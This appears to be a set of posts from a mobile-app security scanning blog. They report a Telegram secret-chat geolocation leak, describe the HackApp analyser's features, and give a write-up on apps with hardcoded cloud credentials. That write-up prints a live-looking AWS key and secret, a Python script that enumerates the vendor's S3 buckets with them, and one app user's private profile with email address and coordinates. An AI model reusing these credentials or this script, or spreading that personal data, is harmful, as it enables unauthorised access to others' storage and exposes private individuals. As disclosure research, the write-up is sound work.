Telegram secret chat geolocation leak.

UPD: I've just received  confirmation from Telegram, that a patched version was released a few  hours ago.  Here is the patch on github.

A few days ago Mr. Durov announced bug bounty for Telegram protocol decryption. Futher it will be shown how private data from a secret chat can be captured without any decryption methods due to a design failure.

Test environment:
- Android 4.3 launched in Virtual Box,
- Wireshark launched on host machine,
- HTC One with Android 4.0.3,
- Telegram 1.3.800 (in virtual box)

Method:
Let's install Telegram and create users Alice and Bob. After that, we are creating acconts in Telegram and adding each device to other's contact list.

Now we are starting a secret chat:

Sending a test message:

As we can see in wireshark - all data goes through SSL, and looks encrypted.

But what if we'll try to send attachment, for example a geolocation? Geolocations of secret chat members could be quit interesting in some cases :)? Let's tap 'send' button...

Bum!! We've got a clear-text TCP session!  Let's take a look a bit closer..

Telegarm uses a default unencrypted google-maps API to resolve map snippet. From a security and anonimity point of view this is THE fail. It means that a person who controls the channel can capture all "geo-attachments" going through a secret chat in both ways (incoming and outgoing) using just a passive sniffer.

In practice,  if  Mr. Snowden will send his geo-location using Telegram to someone, who is under NSA wiretapping, a tomahawk will be enough to make Gen. Alexander satisfied.

Android ? Yes, we can !

Dear friends, finally, after sleepless nights, we are proudly announcing the greatest update since the start : HackApp Android Apps Analyzer.

From now on, you can upload *.apk files or use direct link to apps hosted on Google Play. And there is a traditional step-by-step manual for dummies:

-

-

-

Android and iOS analizers work almost in the same way right now, but  for apps that have no DRM protection this is not enough of course, and the next step should be and will be binary static analysis of DEX (Dalvik Executable Format) classes.

Stay tuned ;)

How you should NEVER design your App. Part 1

After analisys of  thousands of applications (you can read about it here), we've drilled into a few cases manually. In the result, we found a group of vulnerabilities in designs, which, I think, should be revealed in details.

Why design's flaws? Often it can't be located with automated tools and can't be fixed with a simple patch - you have to redesigne the logic of your app. So, the cost of fix can become quite high. Today we will talk about a shared storage authentication.

Many apps (especially from "social networking" section) processes user's private data such as contacts, photos, geolocation by downloading it into cloud from devices. How does authentication and authorisation work here?

How I would like to see it

1. Every user has his or her own auth-secret and private storage.
2. Authentication and data goes through a secured channel (SSL socket, as an example)

all other is just a consequence of these two.

How does it actually work in some apps?

iDar LLC Products is a good example here. They have released 5 apps. 3 of them are free:

https://itunes.apple.com/ru/app/hook-messenger-friend-finder/id421229653?l=en&mt=8

https://itunes.apple.com/ru/app/xsync-file-sharing-transfer/id464201801?l=en&mt=8

https://itunes.apple.com/ru/app/visupay-with-paypal/id511381087?l=en&mt=8

A few security-related words from vendor :

requested permissions:

Having applied http://hackapp.com :

AWS-secret - it's a prefix for access-tokens for Amazon cloud storage. Yes, Cloud  authentication secret is hardcoded in the app and shared between all installations. What's in the storage? By using this small python function we are enumirating buckets:

import boto
import boto.s3.connection
hook_conn = boto.connect_s3(aws_access_key_id = 'AKIAIBKQCDT68HKP66SQ',aws_secret_access_key = 'UpJrv49dOQEahn7/NmHK71mCqrMvqyAp569DrTSh')
for bucket in hook_conn.get_all_buckets():
        print "{name}\t{created}".format(name = bucket.name,created = bucket.creation_date)
keys = []
for key in bucket.list():
keys.append(key.name)
print "Files: ",len(keys)

Result:

dev_pub Files:  580

idarpub Files:  11

idd_prv Files:  190989

idd_pub Files:  1288

ide_pub Files:  72558

idf_pub Files:  0

idg_pub Files:  3136

idgpub Files:  4

idh_pub Files:  2900

Hmm...  .xml files in ide_pub. What's inside?

<person>
<deviceId>C5E0E4E1-9446-43D6-BE0C-368C8CEE1C1B-2061-00000122386F8407</deviceId>
<name>Vincentamaria215</name>
<isCompany>0</isCompany>
<isMale>1</isMale>
<age>0</age>
<seesMales>0</seesMales>
<seesFemales>1</seesFemales>
<theirOpinion></theirOpinion>
<myOpinion></myOpinion>
<myHearts>0</myHearts>
<theirHearts>0</theirHearts>
<latitude>39.919891</latitude>
<longitude>-75.173438</longitude>
<accuracy>0.000000</accuracy>
<lastInfoChange>373974150.028001</lastInfoChange>
<lastMoodChange>0.000000</lastMoodChange>
<lastPhotoChange>373974386.849133</lastPhotoChange>
<myContactXml>&lt;vcard format="vcarddav"&gt;&lt;n&gt;&lt;given&gt;&lt;text&gt;Vincentamaria215&lt;/text&gt;&lt;/given&gt;&lt;/n&gt;&lt;group name="work"&gt;&lt;/group&gt;&lt;group name="home"&gt;&lt;email&gt;&lt;text&gt;oldlimp@gmail.com&lt;/text&gt;&lt;/email&gt;&lt;/group&gt;&lt;group name="other"&gt;&lt;/group&gt;&lt;photo&gt;&lt;photofilename&gt;&lt;text&gt;yef66433b4cff0e2a385679807777df3e8a4b4967z74f3.jpeg&lt;/text&gt;&lt;/photofilename&gt;&lt;/photo&gt;&lt;/vcard&gt;</myContactXml>
</person>

Wow, it seems to be private profiles of the app users, with geolocations... Let's try Google Earth to represent the locations ...

Sweeer! But let's also take a look into other bukets, what's happening in, for example, idd_prv with 190989 files?

If it looks and feels like private photos, it seems to be private photos...

Moral of  the story

Cloud storage was compromised with all user's data in it by a stupid design flaw. So, we don't need to invent any malware with 0-day exploits to obtain user data while we have such apps in App Store.

P.S.

Remember these guys. They are iDar's developers, who have ignored my reports for a few weeks. 

Quick look into Android .dex

Just started to work on APK analizer. Decompiled a few thousands compiled classes, and results are predictable sad:

It seems that Apple DRM  for binaries has a security side-effect. It makes vendor's fuckups not so obvious.

Interface update and other features

Hi, Autumn has just started and to distract from it, we've just pushed new amazing features! Main reasons of new features were to make the interface more convinient and results more accurate.

First of all and the most important, we group bundle contents by type (type defined by extension) now. This feature brings analysis to a new level: you do not need to go through all app' files to find something interesting or unusual, we make it for you:

And we've finaly implemented sorting on dashboard panel, you can sort by name or last update, by clicking on a column name:

In addition, you can distinguish all new reports from reports you've already seen:

Under-the-hood staff has been also updated, and works more smoothly and accurate:

1. SQLite,XML,PLIST processors were rewritten from scratch,
2. Signature database was updated,
3. Engine was accelerated.


And onces again, thank you friends for suggestions and bug reports, it makes HackApp better :)

A couple of words about licenses

If you used our service, possibly you saw a license alert, which was defined, as a bug. Why so?

Licenses are a few pages of text written in a confusing manner. Sometimes, it's really hard to understand what you can do with a thirdparty code snippet and what you can't. To figure it out, you could consider to use a compartaion matrix wich could be found on the net :

In other words, you have to understand which licenses are used for thirdparty libs you use in your app and to understand how these licenses affect your application and your distribution model.

To make this job for you in hackapp.com we have two severity levels for license issuses:

• Info - when we just found, that something in an application bundle is under license control,
• Critical - when something in your bundle is under licens, which makes you keep your sources open.

If you are not concerned about your sources and you are ready to share it with everyone on the net then thank you. And you can ignore this alert  :)

New Checks and Features!

Friends, while (I hope so) you had a rest during this weekend, we were implementing brilliant features and checks for HackApp engine!

Version Control System Disclouser

Most of developers are using version control systems, but not all of them are clearing meta info, such as repository addresses and credentials. According to OWASP it's a serious information disclosure. And now we have a special check for the version control systems disclosure:

'Share' and 'Hide empty' buttons

Also we've added two useful interface features. 'Hide' button hides all reports which do not contain any bugs. It could be useful if you have a number of reports:

'Share' button makes a report available for everyone on the net:

Here is an example. You are very welcome to share this link everywhere it can be useful :)

What is HackApp?

HackApp is a web based service designed for mobile apps' static security analysis. It identifies critical and suspicious information in a bundle, such as:

• Certificates and keys,
• Authentication secrets,
• License Control,
• Compilation flaws.

What HackApp is not:

• Tool for software piracy,
• AntiVirus system.

The main goal is to find information disclosure, which can be used in attacks against app's users or vendor's infrastructure. 

How to use it ?

At first, you have to sign-in, using your Twitter or LinkedIn account:

Then you will see a dashboard - the home page for logged users:

- Here you can add apps by clicking button "Add app". If you want to get apps directly from iTunes, use link to the app's page, such as https://itunes.apple.com/cn/app/betaround/id553850953 (Only free apps are supported). Or you can just upload a *.ipa bundle. 

- Then you click 'Analyse'. 

- HackApp will download and analyse your app. Usually it takes about 2-3 minutes.

- When the app changes status to 'Completed', you can open report by click on the app's name:

Here you can see basic app info (version, drm, etc), browse the bundle as a directory and get info about bugs:

That's it, all you need to know for start. If you will find any bugs in our's system you can always report it to our twitter:  @hackappcom